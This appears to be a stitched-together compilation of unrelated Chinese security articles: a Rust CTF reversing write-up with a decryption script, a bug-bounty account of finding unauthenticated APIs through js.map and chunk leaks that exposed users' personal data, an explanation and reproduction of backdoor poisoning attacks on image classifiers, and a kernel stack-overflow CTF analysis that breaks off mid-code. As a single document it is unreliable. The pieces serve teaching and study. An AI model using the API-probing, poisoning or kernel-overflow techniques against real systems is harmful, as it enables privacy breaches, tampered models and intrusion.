实战逆向RUST语言程序
实战为主,近日2024年羊城杯出了一道Rust编写的题目,这里将会以此题目为例,演示Rust逆向该如何去做。
题目名称:sedRust_happyVm
题目内容:unhappy rust, happy vm
关于Rust逆向,其实就是看汇编,考验选手的基础逆向能力。在汇编代码面前,任何干扰都会成为摆设。
1、初步分析
64为程序,使用IDA 64打开
通过字符串定位分析点
现在我们知道 inputflag的长度大于 0x15
接下来在汇编层面下一个断点,输入假flag,去观察相关寄存器的值
好像并没有什么内容
继续单步 步过,直到发现下一个要注意的地方!
字符串长度:0x28
我们继续单步步过跟踪
开辟空间的时候,说明快到真正函数处理过程了。
2、分析加密流程
2.1 base64分割模块
这里简单将 3 字节变成4字节的操作,称之为 base64分割模块
这里举个例子
输入的:"111"
->二进制字符串 001100010011000100110001
经过base64分割模块
->001100 010011 000100 110001
发现程序执行完后正好是这样的结果
2.2 组合
举个例子:
假如分割之后的4字节为:
0xC、0x13、0x4、0x31
那么组合后的字符串
rax = 0xC
rcx = 0x1300
edx = 0xB1130C18
2.3 VM处理模块
发现func3 非常乱
并且频繁调用sub_40A800()
发现这是一道VM类型的题,那么VM的题加密应该会很简单,基本是异或之类。
在 sub_40A800 里面找到 异或,下断点
这个al每经过两次就是秘钥
解题脚本
int main() {
//提取的密文
unsigned char s1[] = { 0x00,0x82,0x11,0x92,0xa8,0x39,0x82,0x28,0x9a,0x61,0x58,0x8b,0xa2,0x43,0x68,0x89,0x4,0x8f,0xb0,0x43,0x49,0x3a,0x18,0x39,0x72,0xc,0xba,0x76,0x98,0x13,0x8b,0x46,0x33,0x2b,0x25,0xa2,0x8b,0x27,0xb7,0x61,0x7c,0x3f,0x58 };
//提取的秘钥
unsigned char s2[] = { 0x18,0xb1,0x9,0xa4,0xa6,0x2a,0x9e,0x1b,0x96,0x57,0x5d,0xad,0xae,0x75,0x65,0xac,0x9,0x8c,0xa0,0x76,0x47,0x2c,0x10,0x1,0x7c,0xf,0xba,0x47,0x95,0x30,0x9b,0x74,0x3f,0x2d,0x2d,0x9a,0x87,0x31,0xba,0x43,0x70,0x2c,0x4c };
unsigned char s3[128] = { 0 };
for (int i = 0; i < 43; i++) {
s3[i] = s1[i] ^ s2[i];
}
//还原base64分割模块
char s4[128] = { 0 };
int j = 0;
for (int i = 0; i < 44; i += 4, j += 3) {
s4[j] = (s3[i] << 2) | (s3[i + 1] >> 4);
s4[j+1] = (s3[i+1] << 4) | (s3[i + 2] >> 2);
s4[j+2] = (s3[i+2] << 6) | s3[i + 3];
}
printf("%s", s4);
return 0;
}
小白生于天地之间,岂能郁郁难挖高危?
小白的众测高危:
记先前某次众测,经过资产梳理,发现所有站点全部都挂了WAF,作为一名不钓鱼的挖洞小白,我估计这次又要空军。
小白生于天地之间,岂能郁郁难挖高危?
想要在挂了WAF的站点挖出高危,很难,因为这些站点,你但凡鼠标点快点,检测出了不正确动作都要给你禁IP,至于WAF绕过对于小白更是难搞。其实在众测,大部分漏洞都并非那些什么SQL注入RCE等等,而小白想要出高危,可能也只有寄托希望于未授权。
未授权接口怎么找:
有一种站点,在URL内含有#符号,这种站点的路径接口信息泄露较多,更容易出未授权。
但要注意一点,#后面的东西是不会走服务器的,所以这里如果在findsomething找到了很多东西,拼接的时候带不带#号呢?
这就要区分路由和接口了,如果看着像是路由,在这种原本就有#符号站点,就带上#符号。如果是接口,接口一般是用来进行数据交互的,所以需要走服务器,那就不能拼接#符号。
区分上述后就可以将拿到的东西以POST请求,GET请求都跑一遍,再看是否存在能用的接口,再根据接口返回情况看是否需要添加参数。
这里又是涉及一个很麻烦的点,那就是遇到接口能用,找到参数了,但参数的格式不知道,我这次讲的这个高危就遇到了这种情况,差点错过!
在将现有js里面的接口跑完后还需要注意找js里面的js里面的接口。
这里有两种常见情况:
一、js.map泄露
大多webpack打包的站点会有js.map文件,那js.map文件怎么利用呢?
首先需要下载下来:
如上图,右键检查后,在网络处找.js文件,再点击它,在右方找到js文件的路径,并在结尾加上.map访问即可下载。
之后再由reverse-sourcemap工具还原js.map文件,再由vscode等工具打开,进行接口关键字搜查。
二、大量chunk类型js泄露:
如图:
我们如果在数据包或者js文件看到这种格式内容,就可以考虑进一步利用。
首先将所有内容复制出来,再用notepad++打开:
如图进行替换成符合burp里面chunk文件的格式,再放到burp里面跑一遍,配合HAE插件可以提取更加全面的接口信息。
小白找的高危未授权接口:
我也是通过上述方法找到接口后放到burp里面跑,(跑的时候记得加参数),例如接口中有类似id=,url=,wid=等等最好自己加个参数上去。
但就是因为不知道参数类型,我险些错过这个高危漏洞。
如上图第一个接口,因为参数不正确跑出来跟其它接口一个样,不过还好我留意了一下,并且运气好,随手拼的参数居然正确了,直接下载了敏感文件,造成用户全家姓名,电话,住址,工作公司,身份证等等信息全部泄露。(所以这里注意:对有参数的接口即使一次没跑出信息,也要考虑是否需要对参数进行FUZZ)
并且id参数可遍历,形成大范围用户泄露,高危漏洞到手。
深度学习后门攻击分析与实现(二)
前言
在本系列的第一部分中,我们已经掌握了深度学习中的后门攻击的特点以及基础的攻击方式,现在我们在第二部分中首先来学习深度学习后门攻击在传统网络空间安全中的应用。然后再来分析与实现一些颇具特点的深度学习后门攻击方式。
深度学习与网络空间安全的交叉
深度学习作为人工智能的一部分,在许多领域中取得了显著的进展。然而,随着其广泛应用,深度学习模型的安全性也引起了广泛关注。后门攻击就是其中一种重要的威胁,尤其在网络空间安全领域中。
我们已经知道深度学习后门攻击是一种攻击者通过在训练过程中插入恶意行为,使得模型在特定的触发条件下表现异常的攻击方式。具体来说,攻击者在训练数据集中加入带有后门触发器的样本,使得模型在遇到类似的触发器时,产生攻击者期望的错误输出,而在正常情况下,模型仍能表现出高准确率。这种隐蔽性和针对性使得后门攻击非常难以检测和防御。
现在我们举几个例子介绍后门攻击在网络空间安全中的应用场景。
恶意软件检测:在网络安全中,恶意软件检测是一个重要应用。攻击者可以通过后门攻击技术,使得恶意软件检测模型在检测特定样本时失效。例如,攻击者可以在训练恶意软件检测模型时插入带有后门的恶意样本,使得模型在检测带有特定触发器的恶意软件时无法正确识别,从而达到隐蔽恶意软件的目的。
入侵检测系统:入侵检测系统(Intrusion Detection System, IDS)用于监测网络流量并识别潜在的入侵行为。攻击者可以在训练IDS模型时加入后门触发器,使得模型在特定条件下无法识别攻击流量。例如,攻击者可以在训练数据中插入带有特定模式的正常流量,使得模型在检测到这些模式时误判为正常,从而绕过入侵检测系统。
图像识别安全:在网络空间安全中,图像识别技术被广泛应用于身份验证和监控系统中。攻击者可以利用后门攻击,在训练图像识别模型时插入带有后门的图像样本,使得模型在识别带有特定触发器的图像时出现误判。例如,攻击者可以使得带有特定标志的非法图像被识别为合法,从而绕过安全监控系统。
可见后门攻击与网络空间安全其他领域还是存在不少交叉的。
现在我们继续来分析并实现、复现典型的深度学习后门攻击方法。
BppAttack
理论
这篇工作提出了一种名为BPPATTACK的深度神经网络(DNN)木马攻击方法。该攻击利用了人类视觉系统对图像量化和抖动处理不敏感的特性,通过这些技术生成难以被人类察觉的触发器,进而实现对DNN的高效、隐蔽的木马攻击。
现有的攻击使用可见模式(如图像补丁或图像变换)作为触发器,这些触发器容易受到人类检查的影响。比如下图就可以看到很明显的触发器。
BPPATTACK方案的核心思想是利用人类视觉系统对图像微小变化的不敏感性,通过图像量化和抖动技术生成难以被人类察觉的触发器,实现对深度神经网络(DNN)的高效、隐蔽的木马攻击。
人类视觉系统对颜色深度的变化不是特别敏感,特别是当颜色变化非常微小的时候。BPPATTACK正是基于这一生物学原理,通过调整图像的颜色深度来生成触发器。
图像量化(Bit-Per-Pixel Reduction):
图像量化是减少图像中每种颜色的比特数,从而减少图像的总颜色数量。BPPATTACK通过降低每个像素的比特深度,使用量化后的最近邻颜色值来替换原始颜色值,实现对图像的微小修改。
抖动技术(Dithering):
为了消除由于颜色量化引起的不自然或明显的图像伪影,BPPATTACK采用抖动技术,特别是Floyd-Steinberg抖动算法,来平滑颜色过渡,提高图像的自然度和视觉质量。
BPPATTACK旨在生成一种触发器,它对人类观察者来说是几乎不可察觉的,但对机器学习模型来说足够显著,能够触发预设的木马行为。这种平衡是通过精确控制量化和抖动的程度来实现的。
与需要训练额外的图像变换模型或自编码器的攻击不同,BPPATTACK不需要训练任何辅助模型,这简化了攻击流程并提高了效率。
为了提高攻击的成功率和隐蔽性,BPPATTACK采用了对比学习和对抗性训练的结合。通过这种方式,模型被训练来识别和利用量化和抖动生成的触发器,同时忽略其他不重要的特征。
量化过程涉及将原始图像的颜色深度从( m )位减少到( d )位(( d < m ))。对于每个像素值,使用以下公式进行量化:
其中:
( T(x) ) 是量化后的像素值。
( x ) 是原始像素值。
( m ) 是原始颜色深度的位数(每个通道)。
( d ) 是量化后的目标颜色深度的位数。
( \text{round} ) 是四舍五入到最近的整数。
Floyd-Steinberg Dithering:抖动算法用于改善量化后的图像质量,通过将量化误差扩散到邻近像素。对于每个像素,计算量化误差并更新周围像素:
然后,根据Floyd-Steinberg分布,更新当前像素和周围像素:
BPPATTACK方案的关键在于通过量化和抖动技术生成的微小变化对人类视觉系统是不可见的,但对DNN模型是可区分的,从而实现隐蔽的木马攻击。
实现
我们来看看该方法得到的部分中毒样本
分析关键函数
Bpp 类:继承自 BadNet,添加了命令行参数处理和数据集准备功能,用于特定处理阶段。
set_bd_args 方法:配置与攻击设置相关的命令行参数。
stage1_non_training_data_prepare 方法:准备和变换数据集,设置 DataLoader,并存储阶段 1 的结果。
1. 类定义与初始化
类声明:
class Bpp(BadNet): Bpp 是 BadNet 的一个子类。
构造函数 (__init__ 方法):
def __init__(self):: 这是 Bpp 的初始化方法。
super(Bpp, self).__init__(): 调用父类 BadNet 的构造函数,以确保执行父类中的初始化逻辑。
2. 设置命令行参数
set_bd_args 方法:
def set_bd_args(cls, parser: argparse.ArgumentParser) -> argparse.ArgumentParser:: 这个类方法用于使用 argparse 库设置命令行参数。
parser = add_common_attack_args(parser): 调用 add_common_attack_args 函数,添加与攻击相关的常见参数。
parser.add_argument(...): 添加各种命令行参数:
--bd_yaml_path: 指定一个 YAML 文件的路径,用于提供额外的默认属性。
--neg_ratio, --random_rotation, --random_crop, --squeeze_num, --dithering: 各种与攻击配置相关的参数,如负比率、旋转、裁剪、压缩和抖动。
返回值:
返回更新后的 parser 对象,其中包含所有添加的参数。
3. 准备第一阶段的数据
stage1_non_training_data_prepare 方法:
def stage1_non_training_data_prepare(self):: 这个方法用于准备第一阶段的数据。
日志记录与断言:
logging.info("stage1 start"): 记录阶段 1 的开始。
assert "args" in self.__dict__: 确保 args 属性存在于实例中。
数据集准备:
train_dataset_without_transform, train_img_transform, train_label_transform, 等变量:这些变量被赋值为调用 self.benign_prepare() 的结果,该方法用于准备数据集和变换。
clean_train_dataset_with_transform.wrap_img_transform = test_img_transform: 将训练数据集的图像变换更新为与测试数据集的图像变换一致。
DataLoader 初始化:
clean_train_dataloader: 一个用于清洁训练数据集的 DataLoader,应用了变换。
clean_train_dataloader_shuffled: 一个用于清洁训练数据集的 DataLoader,但数据是打乱的。
clean_test_dataloader: 一个用于清洁测试数据集的 DataLoader。
存储结果:
self.stage1_results: 存储各种数据集和 DataLoader 以备阶段 1 进一步使用。
这段代码是一个神经网络训练和评估的流程,具体针对的是后门攻击(backdoor attack)的研究
初始化:
代码开始时,记录训练阶段2的开始时间。
通过断言检查 self 对象中是否包含 args 属性,获取训练参数。
设备选择:
根据是否有可用的 GPU 来设置计算设备。如果 args.device 包含多个设备(例如 "cuda:2,3,7"),则使用 torch.nn.DataParallel 来并行计算。
模型生成:
调用 generate_cls_model 函数生成分类模型 netC,并将其移动到指定的设备上。
优化器和学习率调度器:
调用 argparser_opt_scheduler 函数获取优化器和学习率调度器。
数据预处理:
过滤出可逆的图像变换(如标准化、缩放、转换为张量)。
创建干净和背门攻击的数据集,分别保存处理后的数据集。
训练数据处理:
遍历干净训练数据,通过反归一化得到原始图像。
根据攻击标签转换类型("all2one" 或 "all2all")来生成背门攻击数据。
处理数据集中的每一批次,并将干净样本和背门样本保存到数据集中。
测试数据处理:
对测试数据进行类似的预处理和保存操作,包括处理干净测试数据和背门测试数据。
评估背门效果,并根据攻击标签转换类型生成相应的标签和数据。
负样本生成:
如果指定了负样本比率(neg_ratio),生成负样本数据。这些负样本用于评估背门攻击的效果。
将负样本与其他数据合并,并保存处理后的数据。
模型训练和评估:
对每个 epoch 执行训练和评估步骤。记录训练损失、准确率、背门攻击成功率等指标。
将每个 epoch 的训练和测试结果保存到列表中,并绘制训练和测试指标的图表。
模型保存和结果输出:
在训练周期结束时保存模型状态、学习率调度器状态、优化器状态等。
将训练和测试结果保存到 CSV 文件中,并生成最终的攻击结果数据。
完成:
输出“done”表示训练和保存过程已完成。
每个步骤都有明确的目标,从数据处理到模型训练,再到最终结果保存,涵盖了整个训练和评估的过程。
这段代码包含了两个主要的函数:train_step 和 eval_step。它们分别用于训练和评估模型
train_step 函数
功能: 执行一个训练步骤,处理数据、计算损失、更新模型权重,并计算各种指标。
初始化:
记录日志,设置模型为训练模式。
获取训练参数,包括背门比率(rate_bd)和压缩数(squeeze_num)。
初始化交叉熵损失函数(criterion_CE)和数据转换对象(transforms)。
初始化一些用于记录的列表。
数据处理:
对每个批次的数据进行处理:
清空优化器的梯度。
将输入数据和目标标签移动到指定设备(GPU/CPU)。
计算背门样本和负样本的数量。
根据是否存在背门样本和负样本,生成相应的数据:
背门样本: 对背门样本进行处理(如抖动处理)并生成标签。
负样本: 生成负样本数据并合并到训练数据中。
处理数据集中的每一批次,将背门样本和负样本合并到一起。
应用数据转换函数。
模型训练:
计算模型的预测结果,并记录计算时间。
计算损失,进行反向传播,更新优化器。
记录每个批次的损失、预测结果、标签等信息。
计算指标:
计算每个 epoch 的平均损失和准确率。
根据背门样本、负样本和干净样本的指标,计算背门攻击成功率(ASR)、干净样本准确率等。
返回:
返回训练过程中的各种指标:平均损失、混合准确率、干净样本准确率、背门攻击成功率、背门样本恢复准确率、交叉样本准确率。
eval_step 函数
功能: 执行模型评估,计算不同数据集(干净数据集、背门数据集、交叉数据集等)的损失和准确率。
清洁测试数据集评估:
使用 given_dataloader_test 函数评估干净测试数据集,获取损失和准确率。
背门数据集评估:
使用 given_dataloader_test 函数评估背门测试数据集,获取损失和准确率。
背门样本恢复(RA)数据集评估:
对背门样本恢复数据集进行转换和评估,获取损失和准确率。
交叉数据集评估:
使用 given_dataloader_test 函数评估交叉测试数据集,获取损失和准确率。
返回:
返回不同数据集的损失和准确率:干净测试集损失和准确率、背门测试集损失和准确率、交叉测试集损失和准确率、恢复测试集损失和准确率。
这些函数一起构成了一个完整的训练和评估流程,涵盖了数据处理、模型训练、指标计算和评估等多个方面。
开始进行后门注入
攻击配置如下所示
训练期间的部分截图如下
也可以查看acc的变化情况
可以看到主要关注的指标都在稳步上升
以35epoch为例,此时的后门攻击成功率达到了0.98,而深度学习模型执行正常任务的准确率达到了0.91
FTrojan
理论
FTrojan攻击的核心思想是在频率域中注入触发器。这种方法利用了两个关键直觉:
在频率域中的小扰动对应于整个图像中分散的小像素级扰动,这使得图像在视觉上与原始图像难以区分。
卷积神经网络(CNN)能够学习并记住频率域中的特征,即使输入的是空间域像素。
FTrojan攻击包括以下步骤:
将图像从RGB色彩空间转换到YUV色彩空间,因为人的视觉系统对YUV中的UV(色度)分量不那么敏感。
对图像的UV分量进行离散余弦变换(DCT),将其从空间域转换到频率域。
在频率域中生成触发器,选择固定大小的频率带作为触发器。
应用逆DCT将图像从频率域转换回空间域。
最后,将图像从YUV色彩空间转换回RGB色彩空间。
我们来分析关键细节
FTrojan攻击方法的核心在于利用频率域的特性来注入难以被检测到的后门触发器。
颜色空间转换(RGB到YUV):
使用线性变换将RGB图像转换为YUV空间。YUV空间将颜色图像分解为亮度(Y)和色度(U, V)分量。人的视觉系统对色度分量的变化不如亮度分量敏感,因此在色度分量中注入触发器对视觉的影响较小。
离散余弦变换(DCT):
对YUV空间中的U和V分量应用DCT,将图像从空间域转换到频率域。DCT将图像表示为不同频率的余弦函数的集合,能量集中在低频部分,高频部分则包含图像的边缘和细节信息。
DCT公式如下:
其中,(X(u, v))是DCT系数,(x(x, y))是图像在空间域的像素值,(M)和(N)是图像的宽度和高度,(u)和(v)是频率索引。
触发器生成:
在频率域中选择特定的频率带作为触发器。触发器的频率和幅度是两个关键参数:
触发器频率:选择中频和高频带的组合,以平衡人类视觉感知的敏感性和触发器的鲁棒性。
触发器幅度:选择适中的幅度以确保触发器对CNN是可学习的,同时对人类视觉系统是不可见的。
逆离散余弦变换(Inverse DCT):
使用逆DCT将修改后的频率域图像转换回空间域,得到注入了后门触发器的图像。
逆DCT公式如下:
颜色空间转换(YUV回到RGB):
最后,将修改后的YUV图像转换回RGB空间,因为大多数CNN模型是在RGB空间上训练的。
完整的攻击流程如下图所示
下图是本方法生成的中毒样本与触发器,可以看到是具有一定隐蔽性的
下图是通过 FTrojan 攻击来得到的中毒图像。混频将触发器混合在中频和高频成分中。我们可以观察到,当触发器存在于具有适中幅度的高频和中频成分中时,中毒图像在视觉上很难被检测到。
复现
攻击类
这段代码定义了一个 Ftrojann 类,继承自 BadNet。下面是代码的功能解释:
set_bd_args 方法:
这个方法用于设置命令行参数。它接受一个 argparse.ArgumentParser 对象作为输入,并返回一个更新后的 ArgumentParser 对象。
add_common_attack_args(parser) 是一个函数调用,可能会向 parser 中添加一些通用的攻击相关参数。
添加了多个特定参数:
--channel_list:接收一个整数列表,代表频道列表。
--magnitude:接收一个浮点数,表示强度。
--YUV:接收一个布尔值,表示是否使用 YUV 格式。
--window_size:接收一个整数,表示窗口大小。
--pos_list:接收一个整数列表,表示位置列表。
--bd_yaml_path:接收一个字符串,指定 YAML 文件的路径,该文件提供附加的默认属性。默认路径是 ./config/attack/ftrojann/default.yaml。
add_bd_yaml_to_args 方法:
这个方法用于将 YAML 文件中的默认属性添加到 args 参数中,并进行一些额外的处理。
从 args.bd_yaml_path 指定的路径读取 YAML 文件内容,解析为字典 mix_defaults。
将 args 对象中非 None 的参数更新到 mix_defaults 中。
将 args 对象的 __dict__ 属性(存储了所有参数)更新为合并后的字典。
检查 pos_list 的长度是否为偶数,如果不是,抛出 ValueError。
将 pos_list 转换为一对一对的元组列表,例如,将 [x1, y1, x2, y2] 转换为 [(x1, y1), (x2, y2)]。
着重查看对于数据集的处理代码
这个类的主要功能是处理带有后门攻击的图像数据集,支持图像和标签的预处理、状态恢复和复制。
这段代码定义了一个名为 prepro_cls_DatasetBD_v2 的 PyTorch 数据集类。这个类扩展了 torch.utils.data.Dataset,用于处理带有后门攻击(backdoor attack)的数据集
__init__ 方法:
参数:
full_dataset_without_transform: 原始数据集,没有应用任何变换。
poison_indicator: 一个可选的序列,表示哪些图像需要应用后门变换(使用 one-hot 编码)。默认为 None,如果没有提供,则初始化为全零的数组。
bd_image_pre_transform: 应用在图像上的后门变换函数。
bd_label_pre_transform: 应用在标签上的后门变换函数。
save_folder_path: 保存后门图像的文件夹路径。
mode: 当前模式,默认为 'attack'。
操作:
初始化数据集和相关属性。
检查 poison_indicator 的长度是否与数据集长度匹配。
如果 poison_indicator 中的值大于等于 1,则调用 prepro_backdoor() 方法进行后门数据预处理。
设置其他属性,如 getitem_all 和 getitem_all_switch,用于控制数据集的取值方式。
prepro_backdoor 方法:
对所有需要后门变换的样本进行处理。
遍历数据集的所有索引,如果 poison_indicator 表示该样本需要变换,则应用图像和标签的变换,并调用 set_one_bd_sample() 方法保存变换后的样本。
set_one_bd_sample 方法:
将图像和标签变换后的样本保存到 bd_data_container 中。
确保图像被转换为 PIL 图像格式(如果不是的话)。
更新 poison_indicator,标记该样本为后门样本。
__len__ 方法:
返回数据集中样本的总数。
__getitem__ 方法:
根据索引获取样本。
如果样本是干净的(poison_indicator 为 0),则从原始数据集中获取图像和标签。
如果样本是后门的(poison_indicator 为 1),则从 bd_data_container 中获取图像和标签。
根据 getitem_all 和 getitem_all_switch 的设置,返回不同格式的数据。
subset 方法:
根据给定的索引列表更新 original_index_array,从而选择数据集的子集。
retrieve_state 方法:
返回当前对象的状态,包括 bd_data_container、getitem_all、getitem_all_switch、original_index_array、poison_indicator 和 save_folder_path。
copy 方法:
创建一个 prepro_cls_DatasetBD_v2 的副本。
深度复制当前对象的状态,并设置到新副本中。
set_state 方法:
根据提供的状态文件恢复对象的状态。
包括恢复 bd_data_container 和其他属性。
在我们的实现中得到的部分中毒样本如下所示
注入后门
攻击配置
后门注入期间的部分截图如下所示
以第38个epoch为例,此时的后门攻击成功率达到了接近100%,而正常任务的准确率达到了0.91
CTRL
理论
之前我们提到的后门攻击都是通过监督学习的方式实现的,这一节我们来分析自监督学习后门攻击。
自监督学习(SSL)是一种无需标签即可学习复杂数据高质量表示的机器学习范式。SSL在对抗性鲁棒性方面相较于监督学习有优势,但是否对其他类型的攻击(如后门攻击)同样具有鲁棒性尚未明确。
CTRL攻击通过在训练数据中掺入少量(≤1%)的投毒样本,这些样本对数据增强操作具有抗性,使得在推理阶段,任何含有特定触发器的输入都会被错误地分类到攻击者预定的类别。
触发器 ( r ) 是一种在输入数据的频谱空间中的扰动,它对数据增强(如随机裁剪)不敏感。触发器的设计使其在视觉上几乎不可察觉,但在频域中具有特定的模式。
假设攻击者可以访问到一小部分目标类别的输入样本集 ( \tilde{D} )。
通过在这些样本上添加触发器 ( r ) 来生成投毒数据 ( D^* )。
嵌入:将触发器 ( r ) 嵌入到输入 ( x ) 中,形成触发输入 ( x^* = x \oplus r )。这里 ( \oplus ) 表示触发器嵌入操作。
激活:在推理时,攻击者可以调整触发器的幅度来激活后门,而不影响模型对清洁数据的分类性能。
SSL中的对比损失函数旨在最小化正样本对(相同输入的不同增强视图)之间的距离,同时最大化负样本对(不同输入)之间的距离。对比损失可以表示为:
其中,( f ) 是编码器,( x_i ) 和 ( x_j ) 是正样本对,( y_{ij} ) 是指示器(如果 ( x_i ) 和 ( x_j ) 是正样本对,则为1,否则为0),( \tau ) 是温度参数。
CTRL攻击利用了SSL的表示不变性属性,即不同增强视图的同一输入应具有相似的表示。数学上,这可以表示为:
这里,( x^* ) 是触发输入,( x^+ ) 是增强后的正样本,( r ) 是触发器,( \alpha ) 是混合权重。
通过调整触发器的幅度,攻击者可以控制攻击的效果。
完整的攻击流程如下图所示
下图演示了触发器的生成流程
复现
分析关键代码
ctrl类的stage1_non_training_data_prepare` 方法负责准备背门攻击的数据,包括训练和测试数据集的生成。它先从干净数据中准备基础数据,然后生成背门样本,最后创建背门训练和测试数据集,并将结果保存以备后续使用。这一过程涵盖了从数据预处理到背门攻击数据的生成,并最终包装成适合训练和评估的格式。
这段代码是一个名为 ctrl 的类的定义,它继承自 BadNet 类。主要功能是准备阶段1的数据,包括生成后门攻击数据和测试数据
1. set_bd_args 方法
功能: 设置用于背门攻击的命令行参数。
bd_yaml_path: 指定 YAML 配置文件的路径。
use_dct: 布尔值,指示是否使用 DCT(离散余弦变换)。
use_yuv: 布尔值,指示是否使用 YUV(视频色彩空间)。
trigger_channels: 触发器的通道。
pos_list: 触发器的位置。
2. stage1_non_training_data_prepare 方法
功能: 准备数据,包括清洁训练数据、背门训练数据和测试数据。
初始化:
记录日志并确保 args 存在。
从 benign_prepare 方法中获取不同的数据集和转换方法。
生成背门数据集:
调用 bd_attack_img_trans_generate 和 bd_attack_label_trans_generate 方法生成背门数据集所需的图像和标签转换。
使用 generate_poison_index_from_label_transform 方法生成训练数据中的背门样本索引。
保存背门样本索引到文件。
创建背门训练数据集:
使用 prepro_cls_DatasetBD_v2 方法生成背门训练数据集,并应用转换。
创建数据集包装器 dataset_wrapper_with_transform。
生成背门测试数据集:
使用 generate_poison_index_from_label_transform 方法生成测试数据中的背门样本索引。
使用 prepro_cls_DatasetBD_v2 方法生成背门测试数据集,并应用转换。
使用 subset 方法筛选测试数据集中的背门样本。
保存结果:
将准备好的数据集保存到 self.stage1_results 中。
执行
攻击配置如下
训练期间部分截图如下
可以看到,CTRL在后门攻击成功率上稍低,比如在第59个epoch时,攻击成功率为0.93,正常任务准确率为0.93。
Kernel Stack栈溢出攻击及保护绕过
前言
本文介绍Linux内核的栈溢出攻击,和内核一些保护的绕过手法,通过一道内核题及其变体从浅入深一步步走进kernel世界。
QWB_2018_core
题目分析
start.sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
开启了kaslr保护。
如果自己编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary,解决方法就是sudo apt-get install libslirp-dev,然后重新编译 ./configure --enable-slirp。
init
解压 core.cpio(最简单的方式就是在ubuntu里,右击提取到此处),分析 init 文件:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko # 加载内核模块core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_creds,prepare_kernel_cred 的函数的地址了。
第 10 行把 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了。
第 11 行把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了。
第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包。
里面还有一个 gen_cpio.sh 脚本,用于快速打包。
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
KASLR:
Kernel Address Space Layout Randomization(内核地址空间布局随机化),开启后,允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000,direct mapping area 的基址为 0xffff888000000000。
FG-KASLR:
Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr,函数级别上的 KASLR 优化。该保护只是在代码段打乱顺序,在数据段偏移不变,例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。
Dmesg Restrictions:
通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0)
Kernel Address Display Restriction:
内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。
kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限.
kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.
kptr_restrict == 0 : root 和普通用户都可以读取.
core.ko
检查一下保护。
❯ checksec core/core.ko
[*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
使用 IDA 继续分析.ko文件。
init_module() 注册了 /proc/core,core_fops 时其注册的file_operations结构体实例,会面会做介绍。
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
exit_core()删除 /proc/core。
__int64 exit_core()
{
__int64 result; // rax
if ( core_proc )
result = remove_proc_entry("core");
return result;
}
core_ioctl() 定义了三条命令,分别调用 core_read(), core_copy_func()和设置全局变量 off。
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}
core_read() 从 v4[off] 拷贝 64 个字节到用户空间,但要注意的是全局变量 off 是我们能够控制的,因此可以合理的控制 off 来 leak canary 和一些地址 。
void __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
char *v2; // rdi
signed __int64 i; // rcx
char v4[64]; // [rsp+0h] [rbp-50h]
/*
* canary保存在rsp+0x40的位置,
* 我们通过设置off为0x40,即可将其读取出来。
*/
unsigned __int64 v5; // [rsp+40h] [rbp-10h]
v1 = a1;
v5 = __readgsqword(0x28u);
printk("\x016core: called core_read\n");
printk("\x016%d %p\n");
v2 = v4;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v4, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(v1, &v4[off], 64LL) )
__asm { swapgs }
}
core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了。
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
// 这里用的jg判断,为有符号判断,0xffffffffffff0000|(0x100) 会判定为负从而绕过。
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
// 栈溢出。
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}
core_write() 向全局变量 name 上写,这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了 。
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
